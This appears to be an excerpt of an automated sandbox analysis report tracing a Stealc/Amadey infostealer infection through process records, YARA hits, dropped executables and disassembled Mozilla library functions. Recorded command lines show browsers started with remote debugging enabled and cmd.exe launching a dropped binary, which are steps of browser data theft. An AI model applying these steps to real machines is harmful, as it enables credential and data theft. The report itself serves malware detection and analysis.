Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1984371781.00000000014AE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1980650444.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1477007219.0000000005290000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	10:50:30
Start date:	20/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff6b2cb0000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	10:50:31
Start date:	20/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2272 --field-trial-handle=1964,i,17461991951549720084,17036428689218554913,262144 /prefetch:8
Imagebase:	0x7ff6b2cb0000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	10:50:41
Start date:	20/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff6d8030000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	10:50:42
Start date:	20/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff6d8030000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	10:50:42
Start date:	20/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2700 --field-trial-handle=2572,i,12105014856402712753,6797310360331818284,262144 /prefetch:3
Imagebase:	0x7ff6d8030000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	10:50:42
Start date:	20/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2180 --field-trial-handle=2084,i,570860231196187627,11256819945542102034,262144 /prefetch:3
Imagebase:	0x7ff6d8030000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	10:50:46
Start date:	20/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6524 --field-trial-handle=2084,i,570860231196187627,11256819945542102034,262144 /prefetch:8
Imagebase:	0x7ff6d8030000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	10:50:46
Start date:	20/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6844 --field-trial-handle=2084,i,570860231196187627,11256819945542102034,262144 /prefetch:8
Imagebase:	0x7ff6d8030000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	10:51:09
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsKKJKFBKKEC.exe"
Imagebase:	0xc50000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	10:51:09
Start date:	20/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	10:51:09
Start date:	20/11/2024
Path:	C:\Users\user\DocumentsKKJKFBKKEC.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsKKJKFBKKEC.exe"
Imagebase:	0x3f0000
File size:	1'929'216 bytes
MD5 hash:	D349980D19605CCCFB15081F93C9DB31
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000017.00000003.1968254423.00000000048F0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000017.00000002.2009781775.00000000003F1000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	10:51:11
Start date:	20/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x10000
File size:	1'929'216 bytes
MD5 hash:	D349980D19605CCCFB15081F93C9DB31
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000018.00000003.1993834531.0000000004AF0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000018.00000002.2034171866.0000000000011000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	10:51:12
Start date:	20/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x10000
File size:	1'929'216 bytes
MD5 hash:	D349980D19605CCCFB15081F93C9DB31
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000019.00000003.2001835407.00000000047F0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000019.00000002.2042469704.0000000000011000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	10:51:42
Start date:	20/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6948 --field-trial-handle=2084,i,570860231196187627,11256819945542102034,262144 /prefetch:8
Imagebase:	0x7ff6d8030000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	27
Start time:	10:52:00
Start date:	20/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x10000
File size:	1'929'216 bytes
MD5 hash:	D349980D19605CCCFB15081F93C9DB31
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001B.00000003.2471754491.0000000004D70000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001B.00000002.2727748549.0000000000011000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	30
Start time:	10:52:10
Start date:	20/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007698001\stealc_main1.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007698001\stealc_main1.exe"
Imagebase:	0x770000
File size:	244'736 bytes
MD5 hash:	DA5C79183DABF3510E9C6D76F7C5C087
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001E.00000002.2597848529.000000000079B000.00000002.00000001.01000000.0000000F.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001E.00000002.2597602127.000000000065E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001E.00000000.2573308190.000000000079B000.00000002.00000001.01000000.0000000F.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Temp\1007698001\stealc_main1.exe, Author: Joe Security
Antivirus matches:	Detection: 55%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	10:52:23
Start date:	20/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007699001\2bb39d7142.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007699001\2bb39d7142.exe"
Imagebase:	0xbe0000
File size:	4'407'808 bytes
MD5 hash:	91118D3B44B4A457CF5ACADC62B39B5D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 32%, ReversingLabs
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	30.6%
Total number of Nodes:	108
Total number of Limit Nodes:	12

Executed Functions

Function 6CB135A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6CB9F688,00001000), ref: 6CB135D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CB135E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6CB135FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CB1363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CB1369F
__aulldiv.LIBCMT ref: 6CB136E4
QueryPerformanceCounter.KERNEL32(?), ref: 6CB13773
EnterCriticalSection.KERNEL32(6CB9F688), ref: 6CB1377E
LeaveCriticalSection.KERNEL32(6CB9F688), ref: 6CB137BD
QueryPerformanceCounter.KERNEL32(?), ref: 6CB137C4
EnterCriticalSection.KERNEL32(6CB9F688), ref: 6CB137CB
LeaveCriticalSection.KERNEL32(6CB9F688), ref: 6CB13801
__aulldiv.LIBCMT ref: 6CB13883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6CB13902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6CB13918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6CB1394C

Strings

GenuntelineI, xrefs: 6CB13639
GTC, xrefs: 6CB13912
QPC, xrefs: 6CB138FC
MOZ_TIMESTAMP_MODE, xrefs: 6CB135DB
AuthcAMDenti, xrefs: 6CB13946

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 159eeffdfe05a365784aebfea1015baa2bd60e73bcf77f3b4bce97973af52f9f
Instruction ID: 86947064b295be30d96dbcacb09fa8452fe87f45b1d3f4cbe9b89ef6df9b37d4
Opcode Fuzzy Hash: 159eeffdfe05a365784aebfea1015baa2bd60e73bcf77f3b4bce97973af52f9f
Instruction Fuzzy Hash: E6B192B1B093909BDB08DF29CA4461A7BF9FB8B714F05892DF899D3750E7709904CB92

Function 6CB2C930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6CB2C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6CB2C969
GetSystemInfo.KERNEL32(?), ref: 6CB2C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6CB2C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6CB2C9E2

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 3aec710dfb4ef758c1f7c1794e9e0775be706659489a22dcb5969acacafd3aaf
Instruction ID: c0380f4c321bac61abae7ce3261a62e8e12caaa7b424fb1e5bdc9a323f0c8314
Opcode Fuzzy Hash: 3aec710dfb4ef758c1f7c1794e9e0775be706659489a22dcb5969acacafd3aaf
Instruction Fuzzy Hash: EC212672741218ABEB15AF64CC84BBE73B9FF47710F60011AF90BA7A80DB349C048791

Function 6CB13060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6CB13095

Part of subcall function 6CB135A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6CB9F688,00001000), ref: 6CB135D5
Part of subcall function 6CB135A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CB135E0
Part of subcall function 6CB135A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6CB135FD
Part of subcall function 6CB135A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CB1363F
Part of subcall function 6CB135A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CB1369F
Part of subcall function 6CB135A0: __aulldiv.LIBCMT ref: 6CB136E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CB1309F

Part of subcall function 6CB35B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CB356EE,?,00000001), ref: 6CB35B85
Part of subcall function 6CB35B50: EnterCriticalSection.KERNEL32(6CB9F688,?,?,?,6CB356EE,?,00000001), ref: 6CB35B90
Part of subcall function 6CB35B50: LeaveCriticalSection.KERNEL32(6CB9F688,?,?,?,6CB356EE,?,00000001), ref: 6CB35BD8
Part of subcall function 6CB35B50: GetTickCount64.KERNEL32 ref: 6CB35BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6CB130BE

Part of subcall function 6CB130F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6CB13127
Part of subcall function 6CB130F0: __aulldiv.LIBCMT ref: 6CB13140

Part of subcall function 6CB4AB2A: __onexit.LIBCMT ref: 6CB4AB30

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 214b3b5c00518b390b66f365349f1cefd597fb1e990c86be3907c8a965de8c35
Instruction ID: 75890d4198b875fb5593f69cde2d191e956e63e290ab65fa7b92cce14fbb3698
Opcode Fuzzy Hash: 214b3b5c00518b390b66f365349f1cefd597fb1e990c86be3907c8a965de8c35
Instruction Fuzzy Hash: D0F0F912D2478497CA10DF7489415EE7374AF6B124F505719F84463511FB2061E8C382

Non-executed Functions

Function 6CB25440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6CB25492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB254A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB254BE
__Init_thread_footer.LIBCMT ref: 6CB254DB

Part of subcall function 6CB4AB3F: EnterCriticalSection.KERNEL32(6CB9E370,?,?,6CB13527,6CB9F6CC,?,?,?,?,?,?,?,?,6CB13284), ref: 6CB4AB49
Part of subcall function 6CB4AB3F: LeaveCriticalSection.KERNEL32(6CB9E370,?,6CB13527,6CB9F6CC,?,?,?,?,?,?,?,?,6CB13284,?,?,6CB356F6), ref: 6CB4AB7C

Part of subcall function 6CB4CBE8: GetCurrentProcess.KERNEL32(?,6CB131A7), ref: 6CB4CBF1
Part of subcall function 6CB4CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CB131A7), ref: 6CB4CBFA

GetCurrentThreadId.KERNEL32 ref: 6CB254F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6CB25516
GetCurrentThreadId.KERNEL32 ref: 6CB2556A
AcquireSRWLockExclusive.KERNEL32(6CB9F4B8), ref: 6CB25577
moz_xmalloc.MOZGLUE(00000070), ref: 6CB25585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6CB25590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6CB255E6
ReleaseSRWLockExclusive.KERNEL32(6CB9F4B8), ref: 6CB25606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB25616

Part of subcall function 6CB4AB89: EnterCriticalSection.KERNEL32(6CB9E370,?,?,?,6CB134DE,6CB9F6CC,?,?,?,?,?,?,?,6CB13284), ref: 6CB4AB94
Part of subcall function 6CB4AB89: LeaveCriticalSection.KERNEL32(6CB9E370,?,6CB134DE,6CB9F6CC,?,?,?,?,?,?,?,6CB13284,?,?,6CB356F6), ref: 6CB4ABD1

GetCurrentThreadId.KERNEL32 ref: 6CB2563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB25646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6CB2567C
free.MOZGLUE(?), ref: 6CB256AE

Part of subcall function 6CB35E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CB35EDB
Part of subcall function 6CB35E90: memset.VCRUNTIME140(6CB77765,000000E5,55CCCCCC), ref: 6CB35F27
Part of subcall function 6CB35E90: LeaveCriticalSection.KERNEL32(?), ref: 6CB35FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6CB256E8
GetCurrentThreadId.KERNEL32 ref: 6CB25707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6CB2570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6CB25729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6CB2574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6CB2576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6CB25796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6CB257B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6CB257CA

Strings

MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6CB257AE
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CB2548D
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6CB25BBE
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6CB25CF9
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6CB25D01
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CB25766
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6CB2584E
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6CB25D1C
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6CB25B38
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CB25791
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CB25724
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6CB25717
GeckoMain, xrefs: 6CB25554, 6CB255D5
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CB254A3
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6CB25D24
MOZ_PROFILER_STARTUP, xrefs: 6CB255E1
[I %d/%d] profiler_init, xrefs: 6CB2564E
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CB257C5
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6CB25AC9
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CB254B9
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6CB25C56
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6CB25749
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6CB25D2B
MOZ_BASE_PROFILER_HELP, xrefs: 6CB25511
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6CB256E3

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: eb9685de2f1a43330a6ce22ce69d1e34f6f85cecf03d19f7ea3d1d7bba5cc4d1
Instruction ID: 8d2b5589be38faaed7d85dcafaf340079afa0719017049db5d0184392fe8b44b
Opcode Fuzzy Hash: eb9685de2f1a43330a6ce22ce69d1e34f6f85cecf03d19f7ea3d1d7bba5cc4d1
Instruction Fuzzy Hash: 832243B4A043C09FEB109F74885877A77B5EF47318F440A2AE84A87B45EB38C859CB57

Function 6CB5B820 Relevance: 102.6, APIs: 56, Strings: 2, Instructions: 1128
